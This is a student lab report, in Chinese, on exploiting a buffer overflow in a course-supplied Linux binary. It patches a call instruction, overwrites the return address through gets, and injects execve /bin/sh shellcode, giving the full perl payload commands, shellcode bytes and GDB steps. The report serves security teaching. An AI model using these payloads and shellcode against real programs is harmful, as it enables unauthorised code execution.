20232315 2025-2026-1 《網絡與系統攻防技術》實驗一實驗報告
實驗基本信息
-
實驗環境:Kali Linux虛擬機 + VMware Workstation
-
實驗工具:GDB,objdump等
-
實驗對象:pwn20232315(存在緩沖區溢出漏洞的Linux可執行文件)
-
實驗時間:2025.10.8
目錄
-
實驗目的
-
實驗內容
-
實驗要求
-
實驗過程
-
問題及解決方案
-
實驗感想
一、實驗目的
- 本實驗旨在通過三種不同的技術手段,利用pwn20232315程序中的緩沖區溢出漏洞,執行原本不可訪問的getShell代碼片段,深入理解緩沖區溢出攻擊原理
二、實驗內容
-
緩沖區溢出核心原理
-
核心思想:向一個固定大小的緩沖區(如字符數組)寫入超量數據,超出邊界的數據會覆蓋相鄰的內存區域
-
攻擊關鍵:覆蓋函數返回地址。當函數執行完畢時,CPU會從棧中取出這個地址并跳轉執行。如果該地址被惡意數據覆蓋,就能劫持程序控制流
-
-
三個實踐內容如下:
-
手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數
-
利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數
-
注入一個自己制作的shellcode并運行這段shellcode
-
三、實驗要求
-
掌握NOP, JNE, JE, JMP, CMP匯編指令的機器碼
-
掌握反匯編與十六進制編程器
-
能正確修改機器指令改變程序執行流程
-
能正確構造payload進行bof攻擊
四、實驗過程
- pwn20232315正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串

(一)手工修改可執行文件
1. 原理
通過二進制編輯工具直接修改 pwn20232315 文件中 call foo 的機器指令,將其目標地址改為 getShell 函數的地址,從而在程序正常執行時即跳轉到目標函數
2. 實踐步驟
(1)反匯編分析
使用 objdump -d pwn20232315 | more 定位 main, foo, getShell 函數的地址及 call 指令的機器碼

(2)計算偏移
理解 call 指令使用相對偏移尋址的原理,計算從 call 指令下一條地址到 getShell 的新偏移量
-
由上圖可知,getShell地址是0x804847d,foo地址為0x8048491
-
對于 e8 call 這類指令,CPU 執行時:
-
讀取完整的 5 字節指令 e8 xx xx xx xx
-
此時 EIP 已經指向下一條指令的地址(即 call 指令的地址 + 5)
-
跳轉目標地址 = EIP + 偏移量(偏移量是 32 位有符號整數)
-
-
從foo函數在main中的執行的機器指令(e8 d7 ff ff ff ff)和匯編指令(call 8048491)來看
-
下一條指令地址:EIP = 0x80484ba
-
偏移量(機器碼 d7ffffff,小端字節序 → 0xffffffd7,有符號十六進制:0xffffffd7 是負數,十進制是 -41)
-
目標地址 = 0x80484ba + (-41) = 0x80484ba - 0x29 = 0x8048491(這就是 foo 的地址)
-
-
同理,要讓程序執行getShell,需要將機器指令中foo函數地址d7ffffff改成getShell對應的地址
-
目標地址 = EIP + 偏移量 ----> 偏移量 = 目標地址 - EIP
-
目標地址:0x804847d、EIP:0x80484ba
-
偏移量機器碼:0x804847d - 0x80484ba = -0x3d,即十進制的-61,轉換為補碼為0xffffffc3,小端排列:c3 ff ff ff
-
所以原機器碼 e8 d7 ff ff ff 改為 e8 c3 ff ff ff 就可以調用 getShell
-
(3)修改文件
-
復制pwn20232315,創建副本pwn20232315_1
-
在vi編輯器里修改pwn20232315_1文件,找到 call foo 對應的機器碼 e8 d7 ff ff ff,將其中的偏移部分修改為計算得到的新值
cp pwn20232315 pwn20232315_1 //復制pwn程序
vi pwn20232315_1 //進入vi編輯器
//以下內容在編輯器中執行
//按ESC鍵
:%!xxd //將顯示模式切換為16進制模式
/e8 d7 //查找要修改的內容
//修改d7為c3
:%!xxd -r //轉換16進制為原格式
:wq //保存并退出vi




- 再次反匯編確認

(4)驗證
運行修改后的程序

運行成功!程序啟動后無需任何輸入,直接執行 getShell 函數,獲得系統shell
(二)構造攻擊輸入字符串
1. 原理
利用 foo 函數中 gets 輸入函數不檢查邊界的安全缺陷,輸入超長字符串覆蓋棧上的函數返回地址,將其替換為 getShell 函數的地址。當 foo 函數執行 ret 指令時,程序將跳轉到 getShell。
2. 實驗步驟
(1)確認輸入字符串哪幾個字符會覆蓋到返回地址
- 使用循環字符(如 11111111222222223333333344444444)作為輸入,通過GDB調試觀察程序崩潰時的狀態,確認存在緩沖區溢出

- 觀察各個寄存器的值,確定哪幾個字節覆蓋了返回地址

由圖可知EBP寄存器(指向調用者的棧幀)被覆蓋為0x34343434(ASCII對應4444),EIP寄存器(指向下一條指令地址,即返回地址)被覆蓋為0x35353535(ASCII對應5555),所以可以推斷出輸入1111111122222222333333334444444455555555從5555開始覆蓋返回地址
- 輸入1111111122222222333333334444444412345678再次確認

EIP寄存器的值被覆蓋為0x34333231(ASCII對應1234),確認無誤
(2)確認用什么值來覆蓋返回地址并構造輸入字符串
-
用getShell的內存地址,通過反匯編時可以看到,即0804847d,小端序填入
-
生成攻擊文件,填入字符串"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"
生成文件perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
查看文件xxd input

(3)驗證
執行攻擊

成功執行!程序在回顯輸入后,沒有返回到 main 函數,而是執行了 getShell,獲得shell。
(三)注入shellcode
1. 原理
-
向程序的緩沖區中注入一段能啟動
/bin/sh的機器代碼(Shellcode),并通過緩沖區溢出將返回地址覆蓋為這段Shellcode在內存中的起始地址。CPU在函數返回時,將轉而執行我們注入的代碼 -
shellcode就是一段機器指令(code)
- 通常這段機器指令的目的是為獲取一個交互式的shell(像linux的shell或類似windows下的cmd.exe),所以這段機器指令被稱為shellcode。
- 在實際的應用中,凡是用來注入的機器指令段都通稱為shellcode,像添加一個用戶、運行一條指令
2. 實驗步驟
(1)使用一段經過優化的、無空字節的23字節Linux x86 Shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
(2)構造要注入的payload
-
Linux下有兩種基本構造攻擊buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
-
因為retaddr在緩沖區的位置是固定的,shellcode要不在它前面,要不在它后面。
-
簡單說緩沖區小就把shellcode放后邊,緩沖區大就把shellcode放前邊,本實驗中采用RNS結構
-
構建攻擊文件,定位shellcode地址
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
- 確定返回地址x4\x3\x2\x1應該填什么,先打開一個終端注入攻擊
(cat input_shellcode;cat) | ./pwn20232315

- 再打開另一個終端進行gdb調試,找到pwn20232315的進程號

- 啟動gdb調試這個進程

- 設置斷點,查看注入buf的內存地址

- 在另外一個終端中按下回車,然后返回當前終端,查看寄存器地址

- 由圖可知,esp位置為0xffffd3cc,從這個位置開始查看內存地址

找到01020304(攻擊文本中的特殊標記)了,shellcode就在旁邊,即0xffffd3d0
- 構造攻擊載荷
結構:其他 + 返回地址 + NOP雪橇 + shellcode
perl -e 'print "A" x 32;print "\xd0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

(3)驗證攻擊
執行攻擊

成功!
五、問題及解決方案
(一)execstack問題
-
問題:execstack 工具在Kali Linux中缺失,無法方便地設置棧執行權限。后下載學習通上的工具仍舊無法成功安裝
-
解決方案:本實驗中execstack主要用于開啟堆棧可執行,而實驗用的 pwn20232315 程序本身未開啟棧執行保護,或教學環境默認允許,故可能無需此工具,可跳過execstack工具安裝,后續實驗證明,這種方法可行
(二)棧地址差異
- 問題:在按照實驗指導書進行實驗時,我同樣遇到了指導書上的問題
- 進行gdb調試,找到shellcode地址

- 問題攻擊文件
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\xb0\xd3\xff\xff\x00"' > input_shellcode

- 執行錯誤

- 錯誤分析,gdb調試

由圖可知此時esp地址為0xffffd3c0,與原本的0xffffd3cc有差別,詢問AI得知是GDB調試環境與真實運行環境的棧地址存在差異,二第一次攻擊腳本采用的結構是NSR,僅靠NOP雪橇無法應對大范圍偏移
2. 解決方案:換用其他 + ret + nops + shellcode的結構構造攻擊腳本,具體可見實驗過程的注入shellcode攻擊。
六、實驗感想
- 本次實驗讓我直觀地體會了緩沖區溢出的攻擊過程,以前只在理論上知道“棧溢出覆蓋返回地址”,實驗我通過GDB親眼看到了棧幀的結構、返回地址的位置、以及它被一步步覆蓋的過程,加深了我對這一部分知識點的理解與認知
- 通過本次實驗,我對x86匯編、機器指令有了進一步的理解與認識,同時也對系統底層有了進一步的接觸
- 本次實驗中,我在execstack的安裝上其實耗費了不少時間,雖然這看起來是個小問題。我嘗試過AI給出的方法和老師同學推薦的方法都沒有成功,但沒想到這一步可以跳過,其實有點無語,不過這也說明有些難題看起來不可逾越,但換種思路,也許可以繞過。
- 最后,記一下曾經看過的一句話——“緩沖區溢出攻擊既是科學,也是藝術”。
浙公網安備 33010602011771號